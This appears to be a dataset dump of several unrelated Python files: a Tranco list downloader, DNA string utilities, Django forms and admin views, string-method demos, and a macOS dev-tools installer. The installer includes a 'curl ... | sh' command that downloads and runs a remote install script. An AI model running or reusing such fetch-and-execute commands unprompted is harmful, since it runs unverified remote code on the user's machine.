except ValueError:
return -1
class Tranco():
def __init__(self, **kwargs):
"""
:param kwargs:
cache: <bool> enables/disables caching, default: True
cache_dir: <str> directory used to cache Tranco top lists, default: cwd + .tranco/
"""
self.should_cache = kwargs.get('cache', True)
self.cache_dir = kwargs.get('cache_dir', None)
if self.cache_dir is None:
cwd = os.getcwd()
self.cache_dir = os.path.join(cwd, '.tranco')
if self.should_cache and not os.path.exists(self.cache_dir):
os.mkdir(self.cache_dir)
def _cache_path(self, date):
return os.path.join(self.cache_dir, date + '-DEFAULT.csv')
def list(self, date='latest'):
if date is 'latest':
yesterday = (datetime.utcnow() - timedelta(days=1))
date = yesterday.strftime('%Y-%m-%d')
list_id = self._get_list_id_for_date(date)
if self.should_cache and os.path.exists(self._cache_path(list_id)):
with open(self._cache_path(list_id)) as f:
top_list_text = f.read()
else:
top_list_text = self._download_zip_file(list_id)
return TrancoList(date, list_id, list(map(lambda x: x[x.index(',') + 1:], top_list_text.splitlines())))
def _get_list_id_for_date(self, date):
r1 = requests.get('https://tranco-list.eu/daily_list_id?date={}'.format(date))
if r1.status_code == 200:
return r1.text
else:
raise AttributeError("The daily list for this date is currently unavailable.")
def _download_zip_file(self, list_id):
download_url = 'https://tranco-list.eu/download_daily/{}'.format(list_id)
r = requests.get(download_url, stream=True)
with zipfile.ZipFile(BytesIO(r.content)) as z:
with z.open('top-1m.csv') as csvf:
lst = csvf.read().decode("utf-8")
if self.should_cache:
with open(self._cache_path(list_id), 'w') as f:
f.write(lst)
return lst
| [
"[email protected]"
] | |
706e699fe46434c4135c596bf39f3cec23cdd72d | 970779d9ecbcd34ae807eb9753ab071b6d7cca8f | /starter/ArrayInitListener.py | 74880e144bd1c488d5a835cf410642b3e33a1349 | [] | no_license | bahelms/antlr_reference | 8a0d0e60a64df374ac08c5fff2de0917529480af | 764ab5ce1cb485d1c8f9ae9ba7aa2a1f1bbbb36b | refs/heads/master | 2021-01-11T20:24:41.448056 | 2017-01-16T11:28:10 | 2017-01-16T11:28:10 | 79,111,982 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 873 | py | # Generated from ArrayInit.g4 by ANTLR 4.6
from antlr4 import *
if __name__ is not None and "." in __name__:
from .ArrayInitParser import ArrayInitParser
else:
from ArrayInitParser import ArrayInitParser
# This class defines a complete listener for a parse tree produced by ArrayInitParser.
class ArrayInitListener(ParseTreeListener):
# Enter a parse tree produced by ArrayInitParser#init.
def enterInit(self, ctx:ArrayInitParser.InitContext):
pass
# Exit a parse tree produced by ArrayInitParser#init.
def exitInit(self, ctx:ArrayInitParser.InitContext):
pass
# Enter a parse tree produced by ArrayInitParser#value.
def enterValue(self, ctx:ArrayInitParser.ValueContext):
pass
# Exit a parse tree produced by ArrayInitParser#value.
def exitValue(self, ctx:ArrayInitParser.ValueContext):
pass
| [
"[email protected]"
] | |
7f410f1c099a7934b640d4e4373f1409be582257 | 0e7c0a6a3526e7314db0586b7955549e3a1bf318 | /classes/DNA.py | bb981dde3d2b484c7a84a27d426ca709a871c5c7 | [] | no_license | felipecaon/biogenetics | 6fbfd88596fb72066e31dffc822704abe107ec12 | 9aa47039c23d7ba97a50d87507718dc55a7ad75e | refs/heads/main | 2023-02-17T01:53:22.151539 | 2021-01-15T01:46:58 | 2021-01-15T01:46:58 | 328,849,857 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,008 | py | from structures import *
class DNA:
def __init__(self, sequence: str):
self.sequence = sequence
def is_valid(self) -> str:
dna = self.sequence.upper()
for nucleotide in dna:
if nucleotide not in NUCLETIODES:
return "No"
return "Yes"
def nucleotide_frequency(self) -> dict:
nucleotide_frequency = {'A': 0, 'C': 0, 'G': 0, 'T': 0}
for nucleotide in self.sequence:
nucleotide_frequency[nucleotide] += 1;
return nucleotide_frequency
def reverse_strand(self) -> str:
return self.sequence[::-1]
def get_complementary_strand(self) -> str:
return DNA(sequence=''.join([DNA_COMPLEMENT[nuc] for nuc in self.sequence]))
def transcript(self) -> str:
"""DNA -> RNA. Transforms Tynine to Uracil."""
return self.sequence.replace ("T", "U")
def get_reverse_complementary_dna_strand(self) -> str:
return self.get_complementary_strand().reverse_strand()
| [
"[email protected]"
] | |
92d14350e8edce39b8445a6f227bf2d122f516c3 | 6052b1d422ebcbfc0f169ec613b1f71da976bdb8 | /Users/forms.py | e8f56bb343326601bffc973c2867c2d61f87a558 | [] | no_license | NickJacksonDev/DnD-Manager | e777951268ca5f7a9a62dd9410446c5ee092158c | 36f416e56770a2a8c60e93652c084e32f96f86fa | refs/heads/master | 2020-04-21T04:14:34.279087 | 2019-04-08T16:45:44 | 2019-04-08T16:45:44 | 169,307,667 | 1 | 0 | null | 2019-04-08T16:45:45 | 2019-02-05T20:28:12 | Python | UTF-8 | Python | false | false | 539 | py | from django import forms
from django.contrib.auth.models import User
from django.contrib.auth.forms import UserCreationForm
from .models import Profile
class UserRegistrationForm(UserCreationForm):
email = forms.EmailField()
class Meta:
model = User
fields = ['username', 'email', 'password1', 'password2']
class UserUpdateForm(forms.ModelForm):
email = forms.EmailField()
class Meta:
model = User
fields = ['username', 'email']
class ProfileUpdateForm(forms.ModelForm):
class Meta:
model = Profile
fields = ['image'] | [
"[email protected]"
] | |
4ae38bf37f087171ec3c5696178bac6ec29af31a | e909cc38162f5112d332c45dea90925a2c766f49 | /0x0A-python-inheritance/1-my_list.py | cd6dde881a9ff80be8428d8698a76c52971a3ddf | [] | no_license | Edw10/holbertonschool-higher_level_programming | 839f621faaf33d7d7e9b1205df3bd33e731751aa | 3ad573499ab747fc99562ea17c38085fc74f0af4 | refs/heads/master | 2020-09-29T08:02:46.776556 | 2020-05-15T06:34:10 | 2020-05-15T06:34:10 | 226,993,810 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 209 | py | #!/usr/bin/python3
"""
this module define the mylist class
"""
class MyList(list):
""" this class define a list """
def print_sorted(self):
a = self.copy()
a.sort()
print(a)
| [
"[email protected]"
] | |
ba4dc9a3e0310e33e72f058bdeecd81c7f112874 | 21e7753732296bfdfb6dd9a9b58c7c6b8d90a1e5 | /Moderate/computeArithmetic/compute_test.py | 5068d68d073034d66486c3bcc8fa9b242a962da7 | [] | no_license | rongfeng-china/python-algorithms-and-data-structures | eb8514b44d7ff97dd7c4deda2d8ea888a5aa8d04 | a69241bb7b684bc7d00acdd46c2fc214f7b61887 | refs/heads/master | 2020-03-13T09:08:13.375870 | 2015-12-11T07:37:30 | 2015-12-11T07:37:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 233 | py | from compute import compute
import pytest
def test_compute():
sequence = '3+6*2'
result = 15
assert(compute(sequence) == result)
sequence = '2*3+5/6*3+15'
result = 23.5
assert(compute(sequence) == result)
| [
"[email protected]"
] | |
ca185726daf9925bb0f9621307ca35643bdeff27 | f8f72ee88ce1e74ea9c89e6c2d730588e5b72581 | /day/manage.py | 202fa80900dfd8c68ab04cfab8bd897bd4967836 | [] | no_license | mahima2001/Weekday | a330eef85eaac6bd0e102474316fcb9e4568c618 | dc6f7703cb86bd4c6e1a2db5c1073ba7759d7181 | refs/heads/master | 2023-03-21T12:27:20.644797 | 2021-03-18T11:38:17 | 2021-03-18T11:38:17 | 349,049,598 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 659 | py | #!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
"""Run administrative tasks."""
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'day.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
if __name__ == '__main__':
main()
| [
"[email protected]"
] | |
1ee025f1a635ca592a6c94b9968cb4f692e785a8 | 9512f329d9326ed0b9436202947de9eee0c6c387 | /Cap18_Tkinter/08_listbox.py | 8dfc43f4ae5efd2df391ab9fa9cfb1b326142bb0 | [] | no_license | frclasso/CodeGurus_Python_mod1-turma1_2019 | 9fffd76547256ac480db41536223682a5b152944 | e34d60498ee45566dbf1182551d91250a9aab272 | refs/heads/master | 2020-04-30T02:01:50.757611 | 2019-06-10T15:38:58 | 2019-06-10T15:38:58 | 176,546,912 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 266 | py | from tkinter import *
root = Tk()
Lb1 = Listbox(root)
Lb1.insert(1, 'Python')
Lb1.insert(2, 'Django')
Lb1.insert(3, 'C#')
Lb1.insert(4, 'Kivy')
Lb1.insert(5, 'PHP')
Lb1.insert(6, 'C++')
Lb1.insert(7, 'JavScript')
Lb1.insert(8, 'Go')
Lb1.pack()
root.mainloop() | [
"[email protected]"
] | |
40e74dc702e56a77ea4d018c352ad9c7ab4564e1 | b97b92ebbf316b8fc93e1b85ae4f682d30d352b0 | /sensehatBot/TelegramSensehatFunctions.py | 2762ed45b967ad44008bdeef6340645266e05dc6 | [] | no_license | joeczar/TelegramBot | e10453886228d16d535cc20cb514d90ddf15c6c6 | 2869542f51d01d96beb59ce2827936196ab8a7a1 | refs/heads/master | 2020-12-24T00:43:29.993888 | 2020-07-20T19:49:44 | 2020-07-20T19:49:44 | 237,325,623 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,638 | py | from sense_hat import SenseHat
from random import random
sense = SenseHat()
sense.clear()
sense.rotation = 180
def listToString(list):
listToStr = ' '.join(map(str, list))
return listToStr
def scrollIt(command):
command.pop(0)
msg = listToString(command)
sense.clear()
sense.show_message(msg, scroll_speed=0.075)
return 'message sent'
def getWeather(command):
command.pop(0)
t = round(sense.get_temperature_from_pressure(), 1)
h = round(sense.get_humidity(), 1)
p = round(sense.get_pressure(), 1)
switch = {
'temperature': f'The temperature is {t}',
'humidity': f'The humidity is {h}',
"pressure": f'The pressure is {p}',
'report': "Temperature {temp}\nHumidity {humid}\nPressure {press}".format(
temp=t, humid=h, press=p)
}
# 'I don\'t know %s' % command
print('in getWeather', command)
if (len(command) > 1 and command[0] == 'show'):
dontKnow = 'I don\'t know {command}'.format(
command=listToString(command))
return scrollIt(['message', switch.get(command[1], dontKnow)])
else:
return switch.get(command, 'I don\'t know %s' % command)
def fiftyFifty():
fifty = random()
if (fifty > 0.4):
return True
else:
return False
def noPhone():
phone = fiftyFifty()
if (phone):
sense.set_pixels(allPixels([0, 255, 0]))
return 'You can use your phone tonight'
else:
sense.set_pixels(allPixels([255, 0, 0]))
return 'No phones tonight!'
def allPixels(color):
return [color] * 64
print(allPixels([255, 0, 0]))
| [
"[email protected]"
] | |
371d37a2f133021412ac966e7e6bd23d4ef9c322 | 25d0662513250a47d9bad804272fcd1d3745b401 | /utils/samples_selection.py | bf17bcba3f503b9b53e16bbb953b8a172c803019 | [] | no_license | KamauLaud/DyIntVM | 20260a078dd3671dc7c7b2b60ed21175cde52f29 | 6bfb324ad83a156cbcee752de93cd7c3d07db68f | refs/heads/main | 2023-04-30T10:51:23.720945 | 2021-05-13T02:55:24 | 2021-05-13T02:55:24 | 361,433,324 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,846 | py | from typing import Tuple
from utils.criteria import least_confidence, entropy, margin_sampling
import numpy as np
def get_high_confidence_samples(pred_prob: np.ndarray,
delta: float) -> Tuple[np.ndarray, np.ndarray]:
"""
Select high confidence samples from `D^U` whose entropy is smaller than
the threshold
`delta`.
Parameters
----------
pred_prob : np.ndarray
prediction probability of x_i with dimension (batch x n_class)
delta : float
threshold
Returns
-------
np.array with dimension (K x 1) containing the indices of the K
most informative samples.
np.array with dimension (K x 1) containing the predicted classes of the
k most informative samples
"""
_, eni = entropy(pred_prob=pred_prob, k=len(pred_prob))
hcs = eni[eni[:, 2] < delta]
return hcs[:, 0].astype(np.int32), hcs[:, 1].astype(np.int32)
def get_uncertain_samples(pred_prob: np.ndarray, k: int,
criteria: str) -> Tuple[np.ndarray, np.ndarray]:
"""
Get the K most informative samples based on the criteria
Parameters
----------
pred_prob : np.ndarray
prediction probability of x_i with dimension (batch x n_class)
k: int
criteria: str
`cl` : least_confidence()
`ms` : margin_sampling()
`en` : entropy
Returns
-------
tuple(np.ndarray, np.ndarray)
"""
if criteria == 'cl':
uncertain_samples = least_confidence(pred_prob=pred_prob, k=k)
elif criteria == 'ms':
uncertain_samples = margin_sampling(pred_prob=pred_prob, k=k)
elif criteria == 'en':
uncertain_samples = entropy(pred_prob=pred_prob, k=k)
else:
raise ValueError('criteria {} not found !'.format(criteria))
return uncertain_samples
| [
"[email protected]"
] | |
d815039b9e06aea27a8c4be83b8cfe0f8ff56847 | 93a1ea0e5fc706e8521bbd063622f9946407b78a | /Python_Programming/Basics and use/Str_Fun_Examples.py | 4847f743f5ad6bc2d358a1fabdebd05bbd15d913 | [] | no_license | BZukerman/StepikRepo | 4167b14418f6b42ad47bfa23f21b47bb320d1073 | 44a8d4bd97d688ab9708f71c8d7bc0ead2f0bb0b | refs/heads/master | 2021-09-18T15:12:05.711599 | 2021-08-04T10:30:42 | 2021-08-04T10:30:42 | 228,837,971 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,190 | py | A = "abc"
B = "abcba"
C = "abce"
D = "aec"
print(A in B) # True
print(C in B) # False
print("cabcd".find("abc")) # 1
print("cabcd".find("aec")) # -1
#
print("cabcd"[1:].find("abc")) # 0
#
s = "The man in black fled across the desert, and the gunslinger followed"
print(s.startswith("The man in black")) # True
#
s = "The whale in black fled across the desert, and the gunslinger followed"
print(s.startswith(("The man", "The dog", "The man in black"))) # False
#
s = "image.png"
print(s.endswith(".png")) # True
#
s="abacaba"
print(s.count("aba")) # 2
#
s = "ababa"
print(s.count("aba")) # 1 непересекающиеся вхождения!
#
# Часть этих функций имеет правосторонние аналоги
s = "abacaba"
print(s.rfind("aba")) # 4 поиск, начиная справа, дает индекс 4
#
s = "The man in black fled across the desert, and the gunslinger followed"
print(s.lower())
# the man in black fled across the desert, and the gunslinger followed
print(s.upper())
# THE MAN IN BLACK FLED ACROSS THE DESERT, AND THE GUNSLINGER FOLLOWED
#
print(s.count("the")) # 2
print(s.lower().count("the")) # 3
#
s = ("1,2,3,4")
print(s) # 1,2,3,4
print(s.replace(",", ", ")) # 1, 2, 3, 4
print(s.replace(",", ", ", 2)) # 1, 2, 3,4
print(s.split(" ")) # ['1', '2', '3', '4']
print(s.split(" ", 2)) # ['1', '2', '3 4']
#
s = ("1\t\t 2 3 4 ")
print(s.split()) # ['1', '2', '3', '4']
#
s = (" 1, 2, 3, 4 ")
print(s.rstrip()) # 1, 2, 3, 4
print(s.lstrip()) # 1, 2, 3, 4
print(s.strip()) # 1, 2, 3, 4
print(repr(s.rstrip())) # ' 1, 2, 3, 4'
print(repr(s.lstrip())) # '1, 2, 3, 4 '
print(repr(s.strip())) # 1, 2, 3, 4'
#
s = "_*__1, 2, 3, 4__*_"
print(repr(s.rstrip("*_"))) # '_*__1, 2, 3, 4' удалается НЕ набор, а ВСЕ указанные символы
print(repr(s.lstrip("*_"))) # '1, 2, 3, 4__*_'
print(repr(s.strip("*_"))) # '1, 2, 3, 4'
#
numbers = map(str, [1, 2, 3, 4, 5])
print(repr("*".join(numbers))) # '1*2*3*4*5' - итерация по списку и вставка символа
#
# Форматирование строк
#
capital = "London is the capital of Great Britain"
template = "{} is the capital of {}"
print(template.format("London", "Great Britain"))
# London is the capital of Great Britain
print(template.format("Vaduz", "Liechtenstein"))
# Vaduz is the capital of Liechtenstein
#
# Можно указать порядок подстановок:
template = "{1} is the capital of {0}"
template = "{1} is the capital of {0}"
print(template.format("London", "Great Britain"))
# Great Britain is the capital of London
print(template.format("Vaduz", "Liechtenstein"))
# Liechtenstein is the capital of Vaduz
#
# Можно передавать именованные аргументы:
template = "{capital} is the capital of {country}"
print(template.format(capital = "London", country = "Great Britain"))
# London is the capital of Great Britain
print(template.format(country = "Liechtenstein", capital = "Vaduz"))
# Vaduz is the capital of Liechtenstein
#
import requests
template = "Response from {0.url} with code {0.status_code}"
res = requests.get("https://docs.python.org/3.5/")
print(template.format(res))
# Response from https://docs.python.org/3.5/ with code 200
# This page exists and accessable
res = requests.get("https://docs.python.org/3.5/random")
print(template.format(res))
# Response from https://docs.python.org/3.5/random with code 404
# This page does not exist
#
# Можно использовать синтаксис среза для получения части ответа (3 знака после запятой:
from random import random
x = random()
print(x) # 0.8492685238280031
print("{:.3}".format(x)) # 0.849
#
s = "ababa"
a = "a"
b = "b"
s1 = s.replace(a, b)
print(s1) # bbbbb
print()
s = "abab"
a = "ab"
b = "ba"
s1 = s.replace(a, b)
print(s1) # baba
print()
s = "ababa"
a = "c"
print(a in s) # False
print()
s = "ababa"
a = "a"
b = "ab"
s1 = s.replace(a, b)
print(s1) # abbabbab
Cond1 = a in b
print(Cond1) # True
Cond2 = a != b
print(Cond2) # True
Cond3 = a > b
print(Cond3) # False
Cond4 = b in a
print(Cond4) #False
| [
"[email protected]"
] | |
650541336a1d5b903261326b5ad94503620cc6f8 | 73eea555bac3beab116343b582de45edcfd98600 | /src/devtools/tools.py | 401c060f7f38bae3df3100a20644e436d2822d71 | [
"Apache-2.0"
] | permissive | trein/mac-dev-env | b0fc56eaa9142c7fdecfe2495569e9393933c316 | c85492ce0142412700364622cf4a347c3bef0eaf | refs/heads/master | 2020-12-01T11:42:48.797840 | 2015-07-06T02:51:01 | 2015-07-06T02:51:01 | 37,767,264 | 0 | 0 | null | 2015-06-20T11:13:54 | 2015-06-20T11:13:54 | null | UTF-8 | Python | false | false | 2,221 | py | from src.core import BaseModule
class Module(BaseModule):
NAME = 'devtools_tools'
def install(self):
# xcode dev tools
self.manager.info('Installing xcode dev tools...')
self.manager.exec_cmd('xcode-select --install')
# Oh my zsh installation
self.manager.info('Installing oh-my-zsh...')
self.manager.exec_cmd('curl -L http://install.ohmyz.sh | sh')
# zsh fix
fix_env = self.manager.invoke('[[ -f /etc/zshenv ]]')
if fix_env:
self.manager.info('Fixing OSX zsh environment bug ...')
self.manager.exec_cmd('sudo mv /etc/{zshenv,zshrc}')
self.manager.info('Installing git for control version')
self.manager.exec_cmd('brew install git')
self.manager.info('Installing irc client...')
self.manager.exec_cmd('brew install irssi')
if self.manager.info_confirm('Do you want to install GNU tools?'):
self.manager.info('Installing GNU core utilities...')
self.manager.exec_cmd('brew install coreutils')
self.manager.info('Installing GNU find, locate, updatedb and xargs...')
self.manager.exec_cmd('brew install findutils')
self.manager.info('Installing the most recent verions of some OSX tools')
self.manager.exec_cmd('brew tap homebrew/dupes')
self.manager.exec_cmd('brew install homebrew/dupes/grep')
self.manager.exec_cmd('printf \'export PATH="$(brew --prefix coreutils)/libexec/gnubin:$PATH"\' >> ~/.zshrc')
self.manager.exec_cmd('export PATH="$(brew --prefix coreutils)/libexec/gnubin:$PATH"')
if self.manager.info_confirm('Do you want to install Docker?'):
self.manager.info('Installing docker...')
self.manager.exec_cmd('brew install docker')
self.manager.exec_cmd('brew install boot2docker')
# xquartz
if self.manager.info_confirm('Do you want to install xquartz?'):
self.manager.info('Installing xquartz...')
self.manager.exec_cmd('curl http://xquartz-dl.macosforge.org/SL/XQuartz-2.7.7.dmg -o /tmp/XQuartz.dmg')
self.manager.exec_cmd('open /tmp/XQuartz.dmg')
| [
"[email protected]"
] | |
aa902e4cdd286166f1a962b4230320da2febf6ae | 03bab7d67b8050838c47f9823f90e795d27b9217 | /calcu.py | f1e64a24126f5f5563ab9bd95e9b46ec576efd2e | [] | no_license | sabin890/pytho-class | fe511d7a13081c3f15ac51b18bcd77a18ed87d08 | 0465ae62acafc5860c51ed46967d4844c87c2449 | refs/heads/master | 2023-03-28T15:59:12.258929 | 2021-04-08T12:12:30 | 2021-04-08T12:12:30 | 355,885,291 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 201 | py | def calcu(num_1,num_2,aa):
if(aa=="add"):
return num_1+num_2
elif(aa=="diff"):
return num_1-num_2
else:
return num_1-num_2
result=calcu(10,5,"diff")
print(result)
| [
"[email protected]"
] | |
c73a4cb204fc6ebc11036b6ffac20b6100b459a5 | bd1108df81530b9797719506bf9f75fe918cc401 | /tests/test_tasks.py | 6365f1811f164cff38889aff4d921d6ade31eec2 | [
"Apache-2.0"
] | permissive | New123456horizon/pysqes | 46659c7fbeef775c9d7d9addab93cbd8ee3fbe80 | 37a9b2ef1a2f9eb6543f390443c04652058ee7c1 | refs/heads/master | 2021-01-12T16:25:13.555199 | 2014-04-18T23:09:50 | 2014-04-18T23:09:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,237 | py | import unittest
from pysqes.task import Task
from .utils import add_func
class TestTask(unittest.TestCase):
def setUp(self):
pass
def test_serialize(self):
task = Task(add_func, [1, 2])
task_data = task.serialize()
self.assertTrue('[1, 2]' in task_data and "tests.utils.add_func" in task_data, msg="Error in task serialization")
task2 = Task(data={
"key": 3
})
task2_data = task2.serialize()
self.assertEqual(task2_data, '{"key": 3}', msg="Data couldn't be serialized")
def test_run(self):
task = Task(add_func, [1, 2])
result = task.run()
self.assertEqual(result, 3, msg="Result is not correct for the arguments provided")
task2 = Task(data={
"key": 3
})
with self.assertRaises(Exception):
task2.run()
def test_unserialize_task(self):
task = Task(add_func, [1, 2])
task_data = task.serialize()
task2 = Task.unserialize_task(task_data)
self.assertEqual(task._fn, task2._fn)
self.assertEqual(task._args, task2._args)
self.assertEqual(task._kwargs, task2._kwargs)
if __name__ == '__main__':
unittest.main()
| [
"[email protected]"
] | |
6e6c198e5984e8807f34b1a4d676bb577304f095 | 58023de0289f4e5dc62b3e91a798e03423ac1b8e | /app/dngadmin_bulkdemo.py | e08e9393d46e85abe8a47d33a78e3c11b97b66b1 | [] | no_license | BeLinKang/DngAdmin | 5b1466cb7c24292200ae860be3689b43478d5160 | f78d90b93ab509f83018cc5bbe922568ab2b1fd7 | refs/heads/master | 2023-07-15T05:56:47.665627 | 2021-08-27T12:54:23 | 2021-08-27T12:54:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,994 | py |
# Create your views here.
from django.shortcuts import render #视图渲染模块
from django.http import HttpResponse #请求模块
from . import models #数据库操作模块
from django.db.models import Q #数据库逻辑模块
from django.db.models import Avg,Max,Min,Sum #数据库聚合计算模块
from datetime import datetime,timedelta #Cookie 模块
from django.http import HttpResponse, HttpResponseRedirect #重定向模块
from django.shortcuts import render
import os
import sys
import json
from urllib import parse#转码
import re #正则模块
import random#随机模块
import hashlib# 加密模块
from django.utils import timezone #时间处理模块
import datetime#时间
import time# 日期模块
from . import dngadmin_common #公共模块
from . import dngadmin_formcommon #表单组件模块
from django.forms.models import model_to_dict
def bulkdemo(request):
# ----------------------------------------------------------
# 通过路径获得栏目ID 》》》开始
# ----------------------------------------------------------
dngroute_uid = dngadmin_common.dng_ckurl(request)[0]
get_url = dngadmin_common.dng_ckurl(request)[1]
# ----------------------------------------------------------
# 日记记录与COOKIE验证与权限 》》》开始
# ----------------------------------------------------------
ip = request.META.get('HTTP_X_FORWARDED_FOR') # 获取ip信息
liulanqi = request.META.get('HTTP_USER_AGENT') # 获取浏览器信息
yuming_url = request.META.get('HTTP_HOST') # 当前访问的域名
geturl = request.META.get('QUERY_STRING') # 获取域名后缀的URL
mulu_url = request.path # 获取不包含?号之前的映射路径
tishi = request.GET.get('tishi') #提示
jinggao = request.GET.get('jinggao') # 警告
yes = request.GET.get('yes') # 警告
if "dnguser_uid" in request.COOKIES: # 判断cookies有无,跳转
cookie_user_uid = request.get_signed_cookie(key="dnguser_uid", default=None,
salt=dngadmin_common.dng_anquan().salt_str, max_age=None)
cookie_user_name = request.get_signed_cookie(key="dnguser_name", default=None,
salt=dngadmin_common.dng_anquan().salt_str, max_age=None)
cookie_user_cookie_echo = request.get_signed_cookie(key="dnguser_cookie_echo", default=None,
salt=dngadmin_common.dng_anquan().salt_str, max_age=None)
cookie_user_cookie = request.get_signed_cookie(key="dnguser_cookie", default=None,
salt=dngadmin_common.dng_anquan().salt_str, max_age=None)
cookie_pr = dngadmin_common.dng_yanzheng(cookie_user_uid, cookie_user_name, cookie_user_cookie,
cookie_user_cookie_echo)
if cookie_pr:
dnguser_uid =cookie_pr.uid_int #赋值ID
dnguser_name = cookie_pr.username_str#赋值用户名
dnguser_cookie=cookie_pr.cookie_str#赋值COOKIE记录
else:
return HttpResponseRedirect('/dngadmin/tips/?jinggao=' + parse.quote('检测到非法登录'))
if dngadmin_common.dng_anquan().tongshi_bool == False: # 验证是否同时登录
if dngadmin_common.dng_tongshi(uid=dnguser_uid, cookie=dnguser_cookie) == False:
return HttpResponseRedirect('/dngadmin/tips/?jinggao=' + parse.quote('不允许同时登录账号'))
else:
return HttpResponseRedirect('/dngadmin/tips/?jinggao=' + parse.quote('您需要重新登录'))
# ----------------------------------------------------------
# 日记记录与COOKIE验证与权限《《《 结束
# ----------------------------------------------------------
# ----------------------------------------------------------
# 判断页面权限》》》开始
# ----------------------------------------------------------
dnguser =dngadmin_common.dng_dnguser(dnguser_uid)
group = dngadmin_common.dng_usergroup(gid=dnguser.group_int) # 获取会员组名称
dngroute = models.dngroute.objects.filter(uid_int=dngroute_uid).first()#查询路径取回本页面菜单信息
dngadmin_common.dng_dngred(uid=dnguser_uid, title=dngroute.name_str, url=mulu_url, user=liulanqi, ip=ip) # 日记记录函数
if not dngroute.url_str in mulu_url: #判断URL统一
return HttpResponse("""<BR><BR><BR><BR><BR><center><h1>您的访问与菜单映射不匹配</h1></center><div>""")
elif not '|'+str(dngroute_uid)+'|'in group.menu_text: #判断菜单权限
return HttpResponse("""<BR><BR><BR><BR><BR><center><h1>您没有访问这个栏目的权限</h1></center><div>""")
elif not dnguser.integral_int >= dngroute.integral_int:
return HttpResponse("""<BR><BR><BR><BR><BR><center><h1>您积分"""+str(dnguser.integral_int)+""",访问需要达到"""+str(dngroute.integral_int)+"""积分!</h1></center><div>""")
elif not dnguser.money_int >= dngroute.money_int:
return HttpResponse("""<BR><BR><BR><BR><BR><center><h1>您余额"""+str(dnguser.money_int)+""",访问需要达到"""+str(dngroute.money_int)+"""余额!</h1></center><div>""")
elif not dnguser.totalmoney_int >= dngroute.totalmoney_int:
return HttpResponse("""<BR><BR><BR><BR><BR><center><h1>您累计充值""" + str(dnguser.totalmoney_int) + """,访问需要累计充值达到""" + str(dngroute.totalmoney_int) + """!</h1></center><div>""")
elif not dnguser.totalspend_int >= dngroute.totalspend_int:
return HttpResponse("""<BR><BR><BR><BR><BR><center><h1>您累计消费""" + str(dnguser.totalspend_int) + """,访问需要累计消费达到""" + str(dngroute.totalspend_int) + """!</h1></center><div>""")
elif not dnguser.spread_int >= dngroute.spread_int:
return HttpResponse("""<BR><BR><BR><BR><BR><center><h1>您推广""" + str(dnguser.spread_int) + """人,访问需要推广""" + str(dngroute.spread_int) + """人!</h1></center><div>""")
added =False #增
delete = False #删
update =False #改
see =False #查
if '|' + str(dngroute_uid) + '|' in group.added_text: # 判断增加权限
added =True
if '|' + str(dngroute_uid) + '|' in group.delete_text: # 判断删除权限
delete =True
if '|' + str(dngroute_uid) + '|' in group.update_text: # 判断修改权限
update =True
if '|' + str(dngroute_uid) + '|' in group.see_text: # 判断查看权限
see =True
# ----------------------------------------------------------
# 判断页面权限《《《 结束
# ----------------------------------------------------------
return render(request,"dngadmin/bulkdemo.html",{
"title":dngroute.name_str,
"edition": dngadmin_common.dng_setup().edition_str, # 版本号
"file": dngadmin_common.dng_setup().file_str, # 备案号
"tongue": dngadmin_common.dng_setup().statistics_text, # 统计
"added": added,#增
"delete": delete,#删
"update": update, #改
"see": see, #开发者权限
"tishi": tishi,
"jinggao": jinggao,
"yes": yes,
"yuming_url": yuming_url,
})
def bulkdemo_post(request):
# ----------------------------------------------------------
# 通过路径获得栏目ID 》》》开始
# ----------------------------------------------------------
dngroute_uid = dngadmin_common.dng_ckurl(request)[0]
get_url = dngadmin_common.dng_ckurl(request)[1]
# ----------------------------------------------------------
# 日记记录与COOKIE验证与权限 》》》开始
# ----------------------------------------------------------
ip = request.META.get('HTTP_X_FORWARDED_FOR') # 获取ip信息
liulanqi = request.META.get('HTTP_USER_AGENT') # 获取浏览器信息
geturl = request.META.get('QUERY_STRING') # 获取域名后缀的URL
mulu_url = request.path # 获取不包含?号之前的映射路径
if "dnguser_uid" in request.COOKIES: # 判断cookies有无,跳转
cookie_user_uid = request.get_signed_cookie(key="dnguser_uid", default=None,
salt=dngadmin_common.dng_anquan().salt_str, max_age=None)
cookie_user_name = request.get_signed_cookie(key="dnguser_name", default=None,
salt=dngadmin_common.dng_anquan().salt_str, max_age=None)
cookie_user_cookie_echo = request.get_signed_cookie(key="dnguser_cookie_echo", default=None,
salt=dngadmin_common.dng_anquan().salt_str, max_age=None)
cookie_user_cookie = request.get_signed_cookie(key="dnguser_cookie", default=None,
salt=dngadmin_common.dng_anquan().salt_str, max_age=None)
cookie_pr = dngadmin_common.dng_yanzheng(cookie_user_uid, cookie_user_name, cookie_user_cookie,
cookie_user_cookie_echo)
if cookie_pr:
dnguser_uid =cookie_pr.uid_int #赋值ID
dnguser_name = cookie_pr.username_str#赋值用户名
dnguser_cookie=cookie_pr.cookie_str#赋值COOKIE记录
else:
return HttpResponseRedirect('/dngadmin/tips/?jinggao=' + parse.quote('检测到非法登录'))
if dngadmin_common.dng_anquan().tongshi_bool == False: # 验证是否同时登录
if dngadmin_common.dng_tongshi(uid=dnguser_uid, cookie=dnguser_cookie) == False:
return HttpResponseRedirect('/dngadmin/tips/?jinggao=' + parse.quote('不允许同时登录账号'))
else:
return HttpResponseRedirect('/dngadmin/tips/?jinggao=' + parse.quote('您需要重新登录'))
# ----------------------------------------------------------
# 日记记录与COOKIE验证与权限《《《 结束
# ----------------------------------------------------------
# ----------------------------------------------------------
